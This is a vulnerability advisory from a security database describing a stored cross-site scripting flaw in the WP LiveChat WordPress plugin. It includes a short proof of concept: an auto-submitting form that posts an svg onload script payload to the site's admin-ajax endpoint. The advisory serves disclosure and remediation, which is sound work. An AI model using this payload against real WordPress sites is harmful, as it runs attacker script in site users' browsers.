Stored cross-site scripting in LiveChat - WP live chat plugin for WordPress - #VU19207

CSH
CYBERSECURITY HELP
Sign In REGISTER
 
Main Vulnerability Database Vulnerabilities #VU19207

Stored cross-site scripting in LiveChat - WP live chat plugin for WordPress - #VU19207

Published: July 17, 2019


Vulnerability identifier: #VU19207
CSH Severity: Low
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Clear
CVE-ID: N/A
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: WP-LiveChat
Affected software:
LiveChat - WP live chat plugin for WordPress

Detailed vulnerability description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when updating the "livechat_email" option. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC: 

<body onload="document.forms[0].submit()">
    <form action="https://<BLOG>/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="licenseNumber" value="42"/>
      <input type="hidden" name="licenseEmail" value="><svg/onload=alert(/XSS/)>
    </form>
  </body>
</html>

Remediation

Install updates from vendor's website.

Sources